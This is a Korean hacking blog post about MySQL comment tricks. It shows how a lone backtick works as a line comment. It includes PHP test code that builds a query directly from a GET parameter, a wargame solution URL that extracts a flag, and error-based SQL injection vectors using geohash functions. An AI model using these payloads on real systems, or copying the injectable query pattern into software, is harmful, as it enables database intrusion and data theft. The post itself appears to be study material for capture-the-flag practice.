구독하고 있던 rubiya님의 블로그에서 요상한 주석을 하나 발견했다.
그건 `인데..... ``사이에 쓰면 주석이 된다.
대충 용도를 확인할수 있다. 아마도 조금 공부해본 사람들은 '아하! /**/ 같은거구나'라고 생각하겠지만
이 주석은 중요한점이 있다. php환경과 같이 쓸 시에 그냥 ` 하나만 쓰면 #주석이나 -- 주석처럼
한줄주석으로 작동한다는 것이다!!
<? $dbconnect = mysql_connect("localhost","root","kds1616"); if(!$dbconnect){ die("[connection error]".mysql_error()); } echo "[connection OK]<br>"; $flag = mysql_select_db("mydb"); if(!$flag) die("[DB selection error]".mysql_error()); else echo "데이터베이스 mydb가 선택됨 <br>"; $query = "select " . $_GET['a'] . " from prob"; echo "query = " . $query . "<br />"; $result = mysql_query($query); if(!$result) die("[SQL error]".mysql_error()); $noOfField = mysql_num_fields($result)."<br>"; echo("<table border=1 cellpadding=3 align=\"left\"> "); echo("<tr bgcolor=\"#cccccc\">"); for($i=0; $i<$noOfField; $i++){ $field_name = mysql_field_name($result,$i); echo("<th align=\"center\">$field_name</th> "); } echo("</tr> "); while($row = mysql_fetch_array($result)){ echo("<tr> "); for($i=0; $i<$noOfField; $i++){ $field_name = mysql_field_name($result,$i); echo("<td align=\"center\">$row[$field_name]</td> "); } echo("</tr> "); } echo("</table>"); mysql_close($dbconnect); //연결 종료. ?>
이건 실험용 코드인데(네이버 어딘가에서 가져옴.), get방식으로 받은 a가 컬럼명이 된다. 모든 컬럼을
가져오려면 *를 보내면 된다. 에러가 발생하면 그냥 종료되도록 해 놨기 때문에 에러가 발생하지 않고
잘 되는지 확인 가능하다. (참고로 매직 쿼터 옵션 등등 옵션은 본인이 알아서 할것)
이걸로 실험해보았는데.. 아래 스샷을 보면 알거다.
에러가 뜨면 결과 출력이 안됨
??? `가 짝을 이루지 않고도 #나 -- 주석과 같은 역할을 한다. mysql에서는 `하나만 입력하면 정상작동
하지 않는다.
좋은 정보 하나 얻었다.
이 글을 보면서 chall.tasteless.eu의 comment 풀이도 봐버렸으므로 그냥 답 써놓음...
http://chall.tasteless.eu/level20/index.php?view=flag%20Quality,Id%20from%20level20_flag%20join%20level20`
New Error Based SQL Injection in MySQL >= 5.7.5
1. ST_LatFromGeoHash()
mysql> select ST_LatFromGeoHash(version());
-> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LATFROMGEOHASH
2. ST_LongFromGeoHash()
mysql> select ST_LongFromGeoHash(version());
-> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function ST_LONGFROMGEOHASH
3. ST_PointFromGeoHash()
mysql> select ST_PointFromGeoHash(version(),0);
-> ERROR 1411 (HY000): Incorrect geohash value: '5.7.6-community' for function st_pointfromgeohash
출처 : http://dsrbr.blogspot.ru/2015/03/new-error-based-sql-injection-vectors.html?m=1
'webhacking > sql, sql injection' 카테고리의 다른 글
chall.stypr.com YetAnotherSQL (0) | 2015.05.24 |
---|---|
wargame.kr SimpleBoard (0) | 2015.03.29 |
adm1nkyj님의 워게임. prob2, 8 (0) | 2015.03.25 |
sql injection 문서. (0) | 2015.03.22 |
webhacking.kr 45, 46 (0) | 2015.03.14 |